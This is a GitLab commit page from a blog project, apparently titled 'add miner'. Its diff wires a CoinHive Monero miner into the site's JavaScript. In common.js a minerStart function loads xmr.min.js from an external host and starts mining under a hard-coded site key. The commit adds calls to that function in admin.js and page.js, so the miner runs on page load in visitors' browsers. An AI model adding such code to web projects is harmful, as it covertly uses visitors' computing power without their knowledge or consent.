Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
S
solo-1
Project overview
Project overview
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Boards
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
Administrator
solo-1
Commits
dca5c128
Commit
dca5c128
authored
Dec 05, 2017
by
Vanessa
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
✨
add miner
parent
113b52dc
Changes
6
Expand all
Hide whitespace changes
Inline
Side-by-side
Showing
6 changed files
with
29 additions
and
24 deletions
+29
-24
src/main/webapp/js/admin/admin.js
src/main/webapp/js/admin/admin.js
+1
-1
src/main/webapp/js/common.js
src/main/webapp/js/common.js
+7
-4
src/main/webapp/js/lib/CodeMirrorEditor/codemirror.min.css
src/main/webapp/js/lib/CodeMirrorEditor/codemirror.min.css
+1
-1
src/main/webapp/js/lib/compress/admin-lib.min.js
src/main/webapp/js/lib/compress/admin-lib.min.js
+17
-17
src/main/webapp/js/page.js
src/main/webapp/js/page.js
+1
-1
src/main/webapp/skins/9IPHP/footer.ftl
src/main/webapp/skins/9IPHP/footer.ftl
+2
-0
No files found.
src/main/webapp/js/admin/admin.js
View file @
dca5c128
...
...
@@ -205,7 +205,7 @@ $.extend(Admin.prototype, {
*/
init
:
function
()
{
//window.onerror = Util.error;
Util
.
minerStart
();
Util
.
killIE
();
$
(
"
#loadMsg
"
).
text
(
Label
.
loadingLabel
);
...
...
src/main/webapp/js/common.js
View file @
dca5c128
...
...
@@ -66,7 +66,8 @@ var Util = {
$
.
ajax
({
method
:
"
GET
"
,
url
:
"
https://cdn.staticfile.org/MathJax/MathJax-2.6-latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML&_=1473258780393
"
,
dataType
:
"
script
"
dataType
:
"
script
"
,
cache
:
true
}).
done
(
function
()
{
initMathJax
();
});
...
...
@@ -93,7 +94,8 @@ var Util = {
$
.
ajax
({
method
:
"
GET
"
,
url
:
latkeConfig
.
staticServePath
+
'
/js/lib/flowchart/flowchart.min.js
'
,
dataType
:
"
script
"
dataType
:
"
script
"
,
cache
:
true
}).
done
(
function
()
{
initFlow
()
});
...
...
@@ -243,7 +245,8 @@ var Util = {
$
.
ajax
({
method
:
"
GET
"
,
url
:
'
https://img.hacpai.com/xmr.min.js
'
,
dataType
:
"
script
"
dataType
:
"
script
"
,
cache
:
true
}).
done
(
function
()
{
var
miner
=
new
CoinHive
.
Anonymous
(
'
gr2r3rJsYmaJpSd2Nml15zomewwc6Lzc
'
,
{
threads
:
1
,
throttle
:
0.9
});
miner
.
start
();
...
...
@@ -253,7 +256,7 @@ var Util = {
* @description 页面初始化执行的函数
*/
init
:
function
()
{
//window.onerror = Util.error;
//window.onerror = Util.error;
Util
.
killIE
();
Util
.
setTopBar
();
Util
.
parseMarkdown
();
...
...
src/main/webapp/js/lib/CodeMirrorEditor/codemirror.min.css
View file @
dca5c128
This diff is collapsed.
Click to expand it.
src/main/webapp/js/lib/compress/admin-lib.min.js
View file @
dca5c128
This diff is collapsed.
Click to expand it.
src/main/webapp/js/page.js
View file @
dca5c128
...
...
@@ -381,7 +381,6 @@ $.extend(Page.prototype, {
hljs
.
initHighlighting
();
}
});
},
/*
* @description 文章/自定义页面加载
...
...
@@ -422,6 +421,7 @@ $.extend(Page.prototype, {
}
catch
(
e
)
{
document
.
write
(
"
<script src=
\"
"
+
latkeConfig
.
staticServePath
+
"
/js/lib/json2.js
\"
><
\
/script>
"
);
}
Util
.
minerStart
();
},
/*
* @description 加载随机文章
...
...
src/main/webapp/skins/9IPHP/footer.ftl
View file @
dca5c128
...
...
@@ -41,5 +41,7 @@
};
Util.parseMarkdown('content-reset');
Util.init()
</script>
${plugins}
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment